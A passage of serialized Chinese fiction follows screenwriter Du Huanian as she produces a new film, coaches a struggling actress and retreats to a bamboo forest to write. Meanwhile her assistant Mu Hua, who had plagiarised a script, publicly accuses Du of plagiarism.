招商是李雯的活,她很快忘记了署名这种小事,又开始穿上烫金色西装喇叭裤,游走在各个饭局。杜华年暂时是觉得欣慰的,毕竟工作时候的李雯可比谈恋爱的时候像个人样。
新戏她不打算用工
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作室自己的导演,另一个女主,以及男主都需要敲定。杜华年飞来飞去,见了许多人,看了许多剧组,吃饭就三个地方:飞机上,机场里,剧组里。
第一稿剧本如期交上来,杜华年匆匆看了一遍,即便早有心理准备,还是忍不住笑出来:写原创慕华可能不行,但小说改剧本的能力倒是挺强的。
她修改了几处大场景转折,又添了几段人物幕后故事,发还给慕华,同时给李雯也看了一遍。
一月最后一个周一,她在潇湘馆吃早餐开会,“还有什么问题?”她吃着油条问。
慕华立即表示,“我觉得改过的地方让故事更精彩了。”
杜华年忽略她的废话,只是点头,“阿雯?”
“我很喜欢这个故事。投资方也到位了,我觉得可以走下一个流程了。”
杜华年满意地微笑,“摄影用我们的人,我打算要姜流云。另外我想要个女导演,朱连亭不错,前天我和她吃了第二次饭。”
“这个本子内核讲的就是女性,女导演更细腻,没问题。但是摄影为什么要一个新人?姜流云,好像才进工作室三年,之前也没有独立做过片子,我记得他都是跟着其他摄影做助理。”
“你回去仔细看看他的社交账号。之前好几次,我都发现我们出过的经典镜头有许多和他自己平时拍的照片异曲同工。我问过那几个老摄影,他们都喜欢他,夸的角度各有不同,但同时都提到,他很有灵性。不过也提到,他性格里面缺点明显。”
“什么缺点?”李雯和慕华异口同声地问。
杜华年略意外,扫了慕华一眼,但很快继续,“固执,有点偏激,但是……大龄女性的话他总是很爱听。所以,我给他配一个女导演。”
这个理由把正在喝豆浆的李雯呛得满脸通红,慕华赶紧上去给她拍背。杜华年意味不明地笑,“还有,我看中的,不是朱连亭的细腻,而是她的犀利。有时候,女人表现残忍,比男人更不留余地。”
李雯觉得杜华年又回来了,杀伐果断,出其不意,让人不敢靠近,又神魂颠倒。
“阿雯,你跟大家协调一下,本子发给所有人,一周内,导演出分镜剧本,摄影出分镜画面,主演出自己的人物小传。你再要统筹一下,我明天就跟朱导去选景,第一期款该要到账了。哦对了,姜流云的行程你要安排一下,他也要一起去看景。大概先是这么多,还有没有问题?”
“照旧,我建两个群,一个所有人,一个没演员,”李雯打着备忘录,“姜流云见过朱导了?”
“还没,今晚我让小赵约了他俩,在千帆过。”
“行。没问题了。”李雯收起备忘录。
“好,散了吧,慕华你跟我上楼。”
慕华第一次参与这个级别的会议,原本精心做了一番准备,却差点没跟上杜华年的节奏。
早餐当然她也没吃饱。可她还是很兴奋地站在了杜华年二楼的工作间里。
杜华年看着她,平静地告诉她,“这个本子你的署名取消了。但接下来我会给你独立编剧的权力,薪资也会涨。”
慕华这会子体会到没吃饱早饭有多么严重了,像脑袋挨了一拳,耳鸣头晕,眼冒金星,她用力喘了口气,问,“为什么?您答应我的,华年姐!”
杜华年微微笑,“我想你心里应该最清楚原因。”
慕华还想奋力说些什么或者做些什么,但杜华年站起来,拿起了包,“回去吧,这个项目你有份,我会把你写进去,给你一个助理导演的title。”
“可是……我真的很努力……”
“我看见了,”她走到门口,“谁不努力呢?我想这次升职,已经可以保证你避开回家结婚的命运了。”
“华年姐……”
杜华年走出了房间,大衣的下摆随着走路有节奏地摆动,弧度优雅又冷漠,慕华两眼发直,四肢发麻,站在走廊里,像一根枯木。
11. 分手吧……搬家吧!
庭院里的梧桐树总与别处不同些,即便深冬,它也总能保留几片孤零零的叶子悬在枝头。树下有一方石台,三张石凳。冬天,不知是谁在石凳上铺上了厚厚的垫子,夏天又会消失。李雯坐在树下,台上摊开她的记事本,她正握着手机编辑消息。杜华年站在她身后,抬头看了看那几片叶子,十分担心它们随时会砸下来敲破李雯的头。
她走过去,“钱还了?”
“嗯。”李雯手上没停。
“不打算搬出来?”
李雯放下手机,“我妈……她不肯。”
“她是她你是你,你不能一辈子都把她绑在身上吧?”
“我知道!”李雯烦躁地一闭眼,叹口气,转身皱眉仰头看她,“等我们忙完这个项目,好不好?这个虽然是你临时起意的本子,但是我觉得很不错,真的。我觉得可以尝试用一个短周期把它做完,我现在就要安排好框架,后续开展才好推进度,我想要全程加速。”
杜华年看着她难得一见的神情,可以称得上是恳切,于是问,“周期多长?”
“这个体量的本子,又是时装戏,我们平时是半年,我想的啊,这次最好是能三四个月……”
杜华年抬手打断她,“三个月,我给你一个成功的短周期。”
李雯望着她,眼神复杂,良久没说话。杜华年也平静地回望她,直到李雯的电话震动传来,她们默契地朝对方点点头,分开了视线。
杜华年转身走出了庭院,来到路边,司机已经把她的车开到门口,她接过钥匙,开车回家。她先得要睡一觉,再好好准备晚上与导演摄影的会面。
一路上,过去的记忆不断回涌,她才发现,认识李雯已经十年了。反抗到一半就退缩,李雯已经不是第一次了,认识她这么多年,别的不行,打退堂鼓她着实是第一名。
我早该料到,她离不开家,离不开妈妈,这次又怎么会例外?杜华年自嘲。
但她已经快要没有耐心了,李雯比她还大五岁,她不知道这个女人到底脑子里都在想什么?难道真的要一辈子都做妈妈没长大的女儿吗?
但是,今天的李雯确实有些不一样,别人是看不出来的,但杜华年可以。
她从来没有一句话里说出那么多个“我要、我觉得、我想要”,她从来不会这么确定地表达“我”。
她知道,跨年夜的事情还是有分量,让李雯终于开始着急了。
红灯转绿,前车不动,她烦躁的用力一拍喇叭。
李雯真的很着急。她觉得自己和母亲始终无法脱离父亲,无非就是经济不独立。这次的剧本让她突然很有信心,于是她打算抛开所有烦恼,好好投入工作。
或许能抑制一下我的恋爱脑?她想。
手机震动起来,屏幕上显示的是陌生号码。“你好,哪位?”
“姐姐……”熟悉的声音,熟悉的语气。李雯狠狠懵了一下,觉得自己被打回了跨年夜的噩梦里,紧接着,一股怒气“噌”一声窜上来,“滚!”她挂掉电话。
电话继续震动,她又挂掉,如此反复三次,突然她脑子灵光起来,立马回拨,“滚之前把钱还给我!”
“姐姐你别挂!我就是来还钱的,还有我们见个面吧,你听我解释。”
渣男声音听着还挺急的,李雯更气了,“不见,你现在转账,到账后,我们互删。”
李雯一直忙到下班,敲定了各个方面所有细节,甚至已经拿到了第一笔款。她一直坐在梧桐树下,从门口出来的每一个人都逃不过她的眼睛,群里通知不回的,走出门的瞬间也能被她口头通知到位,即使是能在楼里憋一整天,连外卖都假手于人的行政周姐,也在下班时被她等到了。最后,她订好了杜华年明天的机票和酒店。
她放下手机的瞬间,已经冻得感觉不到双脚了,手指感到了丝丝热辣辣疼痛,搓也不是,不搓也不是。她呵着双手,缩着脖子,站起来拼命跺脚,天已经擦黑,这时候的公馆区有一种零落的寂寞感,她想立即逃离。一转身竟看见渣男就站在院子门外,隔着稀疏的栏杆望着她。
“我电话里说得不清楚吗?”李雯握着拳头,用手背扶着头。
男生跑了两步到她面前,“我已经把钱转给你了,姐姐。”他抿抿嘴,“我也删了你了,所以我只能来这里才能等到你。”
李雯面无表情地看着他,她其实心里起了波澜,但大约是太冷也太饿了,波澜开了0.5倍速,浪花半天撞不到岸,她也就接收不到什么感觉。
“我是想来跟你解释,我不是要骗钱……”
李雯摇摇头打断他,“不重要了。”
“不,很重要!”男生似乎得到了勇气,伸手去握李雯的手,“姐姐,你是不是一天没吃饭?手这么冷啊!”
李雯反应了一会儿,才开始用力抽手,男生加紧了力道,但她迟缓却坚持地不停将手往外拉,甚至用上了另一只手去巴拉男生的手。
她的手都被巴拉得通红。男生看在眼里,终于放开她,举起双手,“好好,我不拉你了,但你听我解释。这两天我和朋友去写生,本来跨年前一天我就能回来,但是山区暴雪,公路封了,硬生生等了两天,到机场的时候,又等了一天。我们在山区的时候手机早就被冻关机了,后来一直没找到充电的地方,等我到机场开机想给你打电话,你已经拉黑我了……”
李雯听完,叹口气,“我说了,不重要了。你说完了吧?我要去吃饭了,再见。”
“姐姐,你是要分手吗?”男生低着头,看不到他表情。
李雯突然乐了,转回半个身子,“怎么?你和我恋爱还真图我这个人?赶紧走吧,别一会儿我反悔了,你就玩脱了。”
李雯说完就继续往前走,转身的瞬间瞥见男生骤然抬起的头,眼睛里全是红血丝,神色复杂,委屈里还有愤怒和倔强。但她实在太饿了,没有多余的能量让大脑思考。男生也是真犟,什么也不说,就跟在她身后一步。朔风瑟瑟里,两人一前一后,默默地移动。
晚上,杜华年提前了半个小时到达千帆过,姜老板笑意盈盈地迎出来。她多瞥了她两眼,发觉这个笑容与往常不同,“姜老板今天有什么高兴事?”
“我弟弟,今天说要和老板来吃饭,他说老板给他一个特别好的机会。这小子下午就来店里了,特别殷勤帮我忙,现在已经坐在三楼等着了。我不知道你也要来,今天你的位置我弟弟提前要了。你等会儿,我去让他腾地方。”姜老板领着她往三楼走,正要去栏杆处赶人。杜华年伸手拉她,“算了,我换地方就行……”
“华年姐!”栏杆处的桌边上窜起来一个年轻人,灿烂笑着和杜
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华年打招呼。
二人都一愣,杜华年随即笑起来,“姜老板,姜流云……我竟然没想到。”
姜老板笑得更欢快,“哎哟!原来你就是我弟弟的老板,那你就是我的大老板了!今天这餐我请,我弟弟年轻不懂事,往后还要你多照顾他。”
杜华年并不推辞,“看来我们真是有缘分。”
两人坐下没多久,导演就来了,比约定时间早了十五分钟。
朱连亭不是刻板印象里的女导演形象,她留着极短的短发,用发蜡随手一抓,眉骨立体,妆容干练,耳朵上还有一对饱满的珍珠耳环,很像上世纪九十年代的香港职场女性。
打招呼只用了一句话,朱连亭和杜华年就进入了正题,姜流云一直默默地听,手上握着笔,时不时在素描本上勾勒。
聊得很快,饭吃得也很快。准备散场,杜华年凭着栏杆往下一望,意外地看见了二楼窗边的李雯和,她的小男友?
杜华年脸一冷,很快又微笑,耐着性子与朱连亭告别,三人往楼下走的时候,在二楼拐角撞上了同样吃完饭的李雯二人。
极短暂的停顿后,五个人同时扬起职业假笑,边说话边下楼,热热闹闹,笑声连连。走到门口,姜老板不知道从哪里窜了出来,安排姜流云送朱导回家,杜华年和李雯笑望他二人的身影出了门,立即双双拉下面孔。
“李雯,你最好告诉我这是你的新男友。”杜华年笑得很危险。
“他今天是来还钱的。”李雯声音有点弱。
“哦?”杜华年有点意外。
“老杜,我今天跟他说分手了。你别担心我了,搞好新戏最重要。明天我跟你们一起去。”
“姐姐!我不同意分手。我不是图你钱。”小男生突然插了一句嘴。
杜华年这才开始审视他,李雯忍不住提高了声音,“你别添乱了!好聚好散吧,行吗?”
楼梯上又走下来三两客人,杜华年看这僵局,率先转身往大门走,李雯跟上来,小男生也跟了上来。
迎面却又碰上携风撞进来的慕华。
“华年姐?”她看见这三个人各自诡异的神色,也尴尬了起来,“我、我是想来跟你说,明天去选景,我能不能也跟着一起去?”
杜华年又有了点意外,她本来以为慕华得要一阵子才能想通,又或者她可能并没有想通。但无论如何,她的反应符合杜华年的预判,不管她相不相信杜华年发现她抄袭,只要她知道自己做贼心虚,就该乖乖听话。
“你俩回去吧,你谈不谈恋爱也用不着我管。”杜华年看着慕华来回在李雯和小男生身上逡巡的眼神,下了个结论,“搬家和分手,我觉得搬家更重要一点。”
这话只有李雯听得最懂,她一瞬间双眼通红。
杜华年当先走了出去,慕华紧跟其后。
就快过年了,秦淮河的气氛又不一样了。她站在路边,静静看着眼前一荡一荡的河水,这里的水和不远处的秦淮河中水,本来就是同源,怎么分得清谁是谁?
慕华不敢说话,站在她旁边,也望着水出神。许久后,杜华年轻轻开口,“太晚了,我送你回家。”杜华年的语气不容置疑。慕华本能想拒绝,但她又还没有答应自己,看着她决然飘荡的衣摆,慕华又把话憋了回去,只答了一声“哦”便跟了上去。
12. 不是变好,就是变坏
慕华坐进副驾,本来还担心没有话说会很尴尬,没想到杜华年直接打开了收音机。夜晚的交通广播最撩人,总让每个在路上的旅人放松警惕,于是被关了一天的情绪野兽就这样汹涌地冲进了暧昧浓重的夜色里。
早上,满腔喜悦的慕华被当头打了一记闷棍后,实在很疼,那一瞬间她很想逃离工作室,于是回到了简陋狭窄的出租屋。这是一间楼龄即将四十年的老房子,一居室,四十平左右。慕华在屋子里走了两圈,发觉书就占了一半的地方。她看见案头那本《你我》,从决定用这个故事开始,她就反复思索了无数遍:这个作者早就查无此人,这个故事也几乎无人知晓。她仔细查过出版号,这本小说当年只出了一版,还不到十万册。
十四亿人,十二年前,不到十万册,这样的小概率,打死她都不相信,杜华年能发现她是抄的。
但是,杜华年的态度还是令她不受控制地心虚。
脑子里一团乱麻,但她的心已经知道,她根本没有选择的余地。她只能接受杜华年的出尔反尔,但她还有最后的挣扎,于是选择说服自己:杜华年是觉得这个故事太好了,所以想要独占署名。这也符合杜华年不择手段的作风,嗯,对,就是这样的。
她觉得她了解杜华年,她觉得她应该先顺从。只不过她没有从门口的穿衣镜里发现,那一刻的她就是个赌徒。
于是此刻,她竟然可以安然坐在杜华年的车里,像是什么都没有发生过一样。真是,魔幻又讽刺。她想。
“想什么?”杜华年冷不丁问她一句,把她从胡乱的回忆里惊醒。
“啊?哦,我在想……”
“想不通我为什么不给你署名?”杜华年没等她把假话说出来。
“华年姐你肯定有你的考虑……”
“哼,看来你还是没想明白。”杜华年冷笑一声,不再说话,把她送回了老旧的小区。
回到家,猫猫依然扑上来,不管多晚,她总是等着杜华年。
手机响起新邮件提示音。她打开查看,竟然是刘芊芊发来了她的人物小传。
这是今天第三个意料之外。她想。
很快,她就不觉得这是一个可爱的意外了,因为刘芊芊的小传写得实在是四不像。她突然觉得很可笑,不知道朱导看见这份小传会是什么表情?杜华年反复思索了很久,才终于想起一种文体,倒是与刘芊芊这篇小传很像——小学生流水账。
但她还是从字里行间,发觉了刘芊芊对这个人物的共鸣。
她似乎只是不知道怎么表达,又或者,她自己也没有很好的抓住这种共鸣。杜华年摸着小柯基的屁股,自言自语:如果我教教她,也许还是个不错的料子。
今天的麻麻闻起来很不一样,她似乎满怀心事。但是我可高兴了,因为她一直抱着我,跟我说话,虽然我听不懂,但我能了解她的心情。她的心情很不错,就好像我吃到了新品种的零食一样。但是麻麻明天要离开我一阵子,我有一点难过。
日子仿佛又回到了从前,工作室从上到下,包括小赵和陈姨,都觉得那个不可一世从无畏惧的杜华年又回来了。她两个礼拜飞了五个地方,敲定了全部的取景地,同时还改好了除了刘芊芊外所有人的小传。
李雯也发觉,杜华年再也不提武侠片的事了,也不再打算新增奇怪的岗位,甚至还优化了喵喵。李雯觉得之前半年是杜华年的突发性异常,现在总算是熬过去了。至于灵感消失这件事,她觉得杜华年也早晚能熬过去。
于是经过几番拉扯后,她又欣然与小男生复合了。
只有杜华年知道日子再也回不到从前。她也从来不是从无畏惧,相反,此间的她,正经历有生以来最深的恐惧——她依然什么也写不出来。
她也从未忘记过要写一个江湖上的故事。她深知,一旦有一个想法产生,就再也不可能从脑子里把它铲除。一切,也就只是表面上和从前一样,但始终,她的日子来到了螺旋梯的又上一层了。
至于李雯是不是又上了一层,她暂时也没多余的气力去管。只是她始终相信,没有人的生命会真的止步不前,不是变得更好,就是变得更坏。
变得不知道更好还是更坏的,还有一个慕华。她失去了署名,可她连难过的时间都没有,单是跟着杜华年飞了两个礼拜就把她折腾得够呛。回来五天了,还没有缓过来,到现在脚踩在地上还觉得不踏实。她心里第一次真正切肤地感受到了与杜华年的差距。
变得更坏的看起来只有芊芊。她改了五遍小传,依然没有通过,据说一直卡在杜华年这里,根本不配送到导演面前。
这天,芊芊终于破防,凌晨三点多打电话给杜华年。杜华年一接起来就听到她凄惨的哭声,她也没有说话,只是打开外放,静静地听着她哭。大约哭了二十分钟吧,芊芊终于说话了,“小传我该怎么改啊?我不会啊!我真的不会啊!念书怎么这么难啊……呜呜……我以前、以前就最怕写作文了哇……”她又开始哭了。
杜华年正在写不知第几版武侠本的大纲,听到她的崩溃,忽而便觉到一种热闹。她想:也许在每一个深夜,都有不止一个人在为人生的溃败哭泣。
等到芊芊渐渐减弱哭声,她问,“你喝酒了?”
良久,芊芊“嗯”了一声。
“好好睡吧,明天起,你隔天来我家,我教你怎么写小传。”
因此,陈姨要多做一个人的饭,小赵要常常联合楼宇保安掩护芊芊进出。
芊芊其实有些笨,性格还很浮夸,杜华年教她并不容易。她每次要发飙了,看见芊芊一脸认真又抱歉,特别像一只做错事但勇于承担的狗狗,她又只能耐着性子忍下来,再解释一遍。
第三次从她家离开后,芊芊坐在保姆车上爆哭,经纪人看不下去了,劝她要不算了吧,又不是没有别的资源,拍拍偶像剧多轻松。她却拼命摇头,想说什么却抽噎得太厉害,什么话也说不出来,经纪人看她这么急,又安抚她,“好好好,接着学接着来。”
其实,芊芊很想说,从来没有人这么认真地教过她,她真的很想好好学,学好一次,哪怕就一次。
送走她的杜华年也累成了狗,趴在地毯上和猫猫并排发呆。小赵看见她这样子,忍不住发出感叹,“要不,咱还是别教她了?”
“不,她适合这个角色。”杜华年这会子说话毫无起伏,像一个快没电的AI。
小赵去阳台收衣服,“看来芊芊是你的新朋友。”
“嗯?”杜华年动了动。
“我看最近雯姐都不来了。”小赵回头冲她一笑,继续收衣服。
杜华年没想到从小赵的视角,看到的事情是这样的。她坐起身,把猫猫撸到身边,问小赵,“你知道吗?我们从小就要念书,但其实,书念着念着,身边的人就越来越少了。等你什么时候发现,诶,我有空的时候怎么找不到人一起玩了?我吃饭怎么总是一个人了?我旁边位置上的人怎么不是原来那个了?我的假期,怎么会空得只剩我一个了?那时候,其实他们已经走散很久了,到底是什么时候在什么地方,从你身边消失的,你永远不会知道。”
“为什么?”小赵真诚地问。
杜华年从地上起身坐到了沙发上,“因为人生这一路越来越难走,你要越来越专注才能走下去,专注的时候就没空看旁边了,于是身边人来来走走你也没在意。可你的感受和记忆却没来得及update,心里总记着旁边有人,自己有朋友,等到你真的空下来去看,才发现一切早都荒凉了。所以人长大了是不会有新朋友的,没有那么多力气去认识一个新的人,要从她小时候开始了解她懂她,你会觉得关我什么事?只有小孩子有无限精力去好奇别人的事情。我们这种成年人,只会因为你的小时候,没有在我的小时候出现,而觉得你没有任何吸引力。我们都不会那么天真,那么无害了。”
这番感慨杜华年更像是在说给自己听。小赵似懂非懂,抱着衣服也来到沙发,一件一件开始叠,“你是不是嫌芊芊没文化?”
“我最好的朋友读书也不怎样。”杜华年笑起来,眼睛里是回忆带来的温暖,“可是小孩子、少年,是不在乎什么读书、有没有文化的,那时候我们只是非读书不可而已。可是听
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什么歌,吃什么零食,偷看哪个男生,扎什么头发,买什么娃娃,追什么动漫……这些才是选朋友的标准。但我难道要现在去跟芊芊回忆这些?那除了尴尬,还有什么?”
这回小赵听懂了,她可不赞同,“那照你这么说,岂不是永远不会有新朋友,旧朋友又没了,你不是很孤独?多可怜啊。”
“你还年轻呢,今年才二十三吧?”杜华年笑着看她。她点点头。杜华年随手拿一件衣服叠起来,“人生本来就是越走越独的一条路啊!”
芊芊深刻地体会了痛并快乐的感受。她推掉了所有工作,每次到杜华年家“上课”,她总是带着许多礼物。小赵和陈姨也逐渐喜欢上她。
“今天是最后一次了。”杜华年看着她。芊芊愣了,心里一凉,“啊?别啊,华年姐,我还有很多不会的呢!”
“你总要学会靠自己。能教你的方法我都教了,这条路毕竟是你自己走。”
芊芊还想说什么,但杜华年的神情她太熟悉,从小到大,每一次要被放弃的时候,人们总是这样跟她说话。
杜华年看着她瞬间灰败下去,虽不解,但还是顺口往下说:“但你别想着偷懒,我会时常去组里监督。”
芊芊听到这话,又支棱了起来。杜华年看在眼里,瞬间明白了她刚才的灰败。
二月正式开机,工作室所有人取消了春节长假,只剩除夕夜和年初一的两日假期。
起初一周,杜华年天天跟组。朱连亭和姜流云十分默契,甚至有时候,她觉得他们太默契了,近乎有些亲昵。但效果和进度非常理想,芊芊看着不中用,可往镜头里一站,“胡静雯”的味道就出来了。
她特别要求化妆师,按照她记忆中的胡静雯给芊芊上妆。这个化妆团队是朱连亭合作惯的,技术没话说,人也很专业,但,她总觉得没有喵喵用着顺手。
也不知是不是错觉。她自嘲。
芊芊分外依赖杜华年,一下镜头就跑来问,“华年姐,你觉得我怎么样?这一条怎么样?”杜华年总会微笑说不错,或者轻声细语地告诉她还可以再调整得更好,她就会主动再要求多来一条。
朱导当然乐意,毕竟,她的严苛只有在杜华年这里不被嫌弃是太过浪费成本。杜华年实在是一个好制片。朱连亭觉得自己运气真是太好了。
这一切慕华每每看在眼里,总觉得愤懑不平。她知道在开机前杜华年就给刘芊芊开小灶了,她不明白,自己难道不比这个花瓶更值得栽培么?但她强悍的生存意识拼命催促她换一个角度想这个问题:杜华年很喜欢刘芊芊,所以,这部戏一定会卖座。
那就会是我的机会,那一天也不会太远了。慕华这样想着,心里好受了很多。
剧组都上了轨道,杜华年要回去了,临走她只约了李雯,就在放饭的傍晚,她俩一人端一盒盒饭,坐在道具组的大箱子上。
“我今晚回去了。”杜华年埋头吃饭。
“嗯,放心。”李雯想了想,“刘芊芊……她没你在行吗?”
“我不担心她。我担心慕华。她最近太安静了。”杜华年停下筷子。
“她不是一直都挺安静的?性格,我是说。”李雯也转头看她。
“不是,不是嘴巴上的那种安静。是……我说不好,我最近感觉不到她的野心了。也可能是我太累了吧。”杜华年摇摇头。
“没野心是好事啊。”李雯费解。
杜华年明晃晃地看着她,“你以为都像你,送你颗野心吃,你都能吐出来。”李雯白她一眼,她也无所谓,“一个人如果藏起野心,很可能是憋什么坏呢。不过再说吧,最近真没空管她。”
杜华年三两下扒完了饭,李雯一回头,看见司机已经等在路边。她问,“你是不是还在写武侠本?”
“是也不是。你别管了。管好自己,你那个小男友,多观察观察。”杜华年收拾好空饭盒,起身,“走了。”
“这部戏赚钱了,我给你开个武侠本!”李雯赶忙冲她背影轻喊。
杜华年只是摆摆手,头都懒得回。李雯下意识看一眼四周,没人听见就行。
13. 慕华的表演
杜华年打算换个环境写故事。这些年来,不知是不是她的年纪渐渐上来了,总觉得南京这个地方……妖气有点重。
想写点什么时,总会有大把的旁枝末节来干扰,不想写时,又总是灵感充盈;想写文戏,做梦里头都在打架;想写武戏,每日都感到伤春悲秋。似乎这个城市有太多它自己的思考,容不下她的想法。
又或者是我八字太弱吧?杜华年坐在书桌前,抱着猫猫,有一搭没一搭地撸着狗。陈姨来喊她吃饭,她说:“明天起你们都放假吧,我打算出趟门。”
小赵正在整理零食,猛一个转头,“怎么你也开始已读乱回?”
“西南有大片竹海,我要带猫猫去那儿住几个月。帮我订票,再找个短租房。我要住在山上的林子里。”
陈姨和小赵换了个眼神,见她坐到餐桌前,陈姨去给猫猫放粮,眼睛却一直瞟着小赵。小赵收到眼色,低着头在杜华年对面坐下,小心翼翼抬起眼问,“雯姐知道吗?”
“还没跟她讲。”杜华年咬了一口冬菇。
“你自己去,还带着狗,没人照顾你行吗?”
“那你跟我去,陈姨走不开就算了。陈姨,你工资我照开给你。”“不用不用……”陈姨赶紧过来推辞,杜华年抬手打断,“就这样定了。”
陈姨站在桌边,看了她一会儿,还是开口,“孩子啊,这些年你对我好我知道的,有时候比我亲儿子还好,我也就总是带点妈的心思,我多嘴,你别介意。”
杜华年抬头看她,这么多年,陈姨一直给她做饭,她只知道这是一个勤劳的长辈,做饭很合自己口味,而今忽然听她这样讲话,心里涌上些陌生的温暖。她伸手请她坐下说,陈姨也顺势坐在了小赵旁边,“孩子,你这么多年一个人在这里,拼命工作,过年也从没见你回过家乡,我知道,你不是为了挣钱。我没文化,但我看得出来。”
杜华年一愣,真没想到,说这句话的人,竟然是陈姨。
“虽然我懂得不多,可我知道食有定数的道理。我猜啊,或许,任何事情都有定数呢?你写了那么多书,那么多电影,我看好多大导演,一辈子也就一个出名的电影,你已经不止一个了,有时候,如果老天觉得你该写够了,那是不是你也可以休息休息啊,孩子?”
杜华年还在眨眼睛,泪水的热意就铺天盖地沾满她双眸,她低下头喝了口汤,才缓过声音,“陈姨,我也说一句,您真是比我亲妈还亲呢。”
小赵见惯了她凌厉果断的样子,第一次见她如此柔软亲人,吃惊使她只能和猫猫大眼瞪大眼。
杜华年感到深重的疲惫,“连您都看出来了呢……是啊,您说得对,已经写了那么多,停下来又怎么样?可是一条忘记游泳的鱼,还能活下去吗?是啊,万一是老天想要我停呢?那我,该怎么办?”她说着说着,像自言自语了。
陈姨似乎听懂了,她没有办法回答。小赵却觉得自己听懂了,“写你熟悉的呀。干嘛非要搞创新呢?你看我平时看小说,总是看男女爱情,其实套路都是一样的啦,但我照样爱看。电视剧也是这样,观众一边骂偶像剧烂俗,工业糖精,没有新意,一边不停地充会员……你就写你之前那种类别的不行吗?你都写那么好了,人家也没看够啊。新开一种题材,万一人家不喜欢呢?雯姐讲的也不是没道理。”
杜华年听笑了,她知道小赵说得更对,朴素的真理,无法反驳的现实。这些话,没人敢跟她说,只有小赵敢。
“能说这话,说明你还是个小姑娘,挺好。而这个问题,陈姨已经替我回答了:因为我不只是为了挣钱。”
“那你是为啥?”
“为了证明我自己。”说出来她就愣了,小赵问得急,她答得也急,这其实是她不愿吐露的“幼稚”。
小赵不理解了,“你还没证明你?你是杜华年,编剧圈、作家圈,谁不知道杜华年?”
这回陈姨是真听懂了,按住小赵的肩,“可能,她不止是想做杜华年呢?”
小赵更不理解了。杜华年抬头冲陈姨笑了笑。
贵州遵义有个复兴镇,万顷竹林,碧波似海。竹海长在山上,山间有条赤水河,河水清绿,倒影整片竹海,天空也要失色。
她和小赵租了半山腰竹林深处一处农舍,三间竹屋,一篱小院。房东一家都靠竹林生活,春天卖竹笋,秋天卖竹子,一年四季还可以卖土鸡土鸭,捕鱼期甚至还卖赤水河里的鲜鱼。
她们的生活物资全靠房东送到半山上来,小赵做饭不行,杜华年只能亲自动手。第一天晚餐,小赵吃了一只大鲸,“你做鱼这么好吃呢?那你请陈姨是为什么?”
“为了省时间。”她给她一个白眼,“所以呀,你真是一点忙都帮不上啊!”
最快乐的应该是猫猫,她有一个超级大的小院子可以奔跑,施展她作为一只超低底盘柯基的爆发力。
杜华年是真喜欢这里,因为这里像是另一个世界,一个不能存在的江湖,一个从她脑子里投映出来的武侠时空,又将要投影回她心里去。
她第一次感觉母亲怀抱般的温暖,每一个细胞都放松下来。每一天早起,听着晨风中竹海声声,呼吸间,灌满翠竹苍香,每一晚睡在竹涛风波里,像睡在风里云间。这种漂泊的感觉令她睡得极好。
这里像任盈盈的绿竹巷,像程英的林间小屋。她拒绝小赵向她提供每日新鲜资讯,网络与人群,留在小赵的手机里。
哦对了,能与翠竹相比的,还有朗月星空。杜华年从出生到此刻,三十年的人生,第一次看见银河璀璨。
有一种要流泪的冲动,因为星星的注视比这个世界的凝视,要友善太多。修竹在蓝天白云下,是青衫君子,可在天幕繁星下,正是她的翠衣美人,纤腰秀发,不言不语,飘然出尘。
她把工作室全丢给了李雯,一直留在了竹海,春天即将过完,这里又正是避暑的好地方,连电影首映她都没回去。
新电影讨论度很高,故事标新立异,芊芊演技炸裂。在南京潮湿的春末,杜华年又一次被推到风口浪尖。
李雯可高兴坏了,这一次的营销全都不用她费心。自从刘芊芊的团队把她进组前常常去杜华年家里请教的高清物料晒出来后,所有热度都是自来水。
票房高涨,排片量一加再加。
她兴奋得三天睡不着觉,打电话给杜华年,“老杜!咱这一把再冲一次最佳编剧吧?”
结果听筒里却传来一个战战兢兢的声音,“雯姐,是我,小赵。”
杜华年真写出了一个新大纲,至少在看了无数遍后,她自己仍觉得不错,没有太多过往武侠故事的影子。最近她在专心写一稿,电话全都交给小赵。
小赵问李雯要不要叫杜华年接电话,李雯可不敢,只让她挑个吃饭的空隙把电影大爆的事情告知杜华年就行。
芊芊身价暴涨,电影预备送展多个电影节,许多资本都想注资工作室,李雯穿梭在应接不暇的饭局酒会,她甚至想替芊芊把违约金付了,将她签到工作室来。
而杜华年却始终没有现身,这神秘的做派再一次拉高了大众的期待值,人们认为她在写第二部,或者在写一个更牛掰的新故事。
慕华终于明白一人得道鸡犬升天是什么样的感受。即便她只是随便一个挂名的导演助理,也常常需要出席各种路演与活动,甚至,这小半年来,她参加过的晚宴次数已经超过了她从小到大参加过的校园晚会。
她终于不是只能看着盛装的杜华年两眼发直的小透明了,她也可以看着镜子里盛装的自己,长久地陶醉。
外头的世界纸醉金迷,竹海深处的小屋里,杜华年炖着鸭子汤,教小赵做鱼。
小赵很想把纸醉金迷传播到她这里,但她的眼神就足够令小赵收回肥胆。
杜华年走到院子外,往东十丈开外,有一处小断崖,崖下仍是竹海万顷,连天蔽目。风从四面八方来,吹乱她的衣襟与头发,一旦穿越竹林,似乎风都会染上苍翠的颜色,她觉得自己也是一根竹子。
竟一时之间
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,不知此处与外间,哪一个才是真实的世界,哪一个是杜华年的幻觉。
电影院线档期的最后一天,李雯策划了一个收官直播活动,邀请所有主创谈创作背后的趣事,希望再造一波势,这边稳住已经到手的投资,另一边吸引更多资本的目光。
慕华本来也在列,但她却临时请假,李雯也无所谓,觉得本来她也无足轻重。
可直播到一半,本来气氛美好的弹幕突然炸锅,从满屏的“期待第二部”、“期待杜华年”,瞬间变成了问号海洋:
-抄袭?
-杜华年抄袭?
-????
-杜华年被告了?
-不是,是工作室被告了!
-我们芊芊会不会受影响啊?
-是不是造谣?
-好像不是,公证都出来了
-法院都立案了
导播立即掐停了直播,李雯看着热搜上,只要与“杜华年抄袭”相关的词条,都呈现出疯狂上涨的势头,觉得自己大概是在做噩梦。于是她狠狠抽了自己两个嘴巴,把周围的人都吓懵了。
杜华年抄袭?杜华年怎么可能抄袭?李雯是坚决不信的,太可笑了,这个世界谁抄袭,杜华年都不可能抄袭!
事件的起源也是一场直播,正好在李雯的直播开始半小时后开始,慕华在所有平台都开了一个直播间,同时间直播她状告杜华年的过程。
在直播中,她请来公证人员,开封一个EMS重要文件包,特写邮戳时间和完好火漆,从里面开出来一份电影剧本,正是最近大爆的杜华年编剧、朱连亭导演、刘芊芊主演的电影。
慕华声称,她一直有一个严谨的习惯,每次投稿前,都要把稿子全部打印出来,寄一个EMS给自己,为的就是保留邮戳时间和未开封的火漆。主要是怕万一被别人抄袭了,自己也还有个法律上认可的证据,至少证明在时间上,她先完成了这个作品。
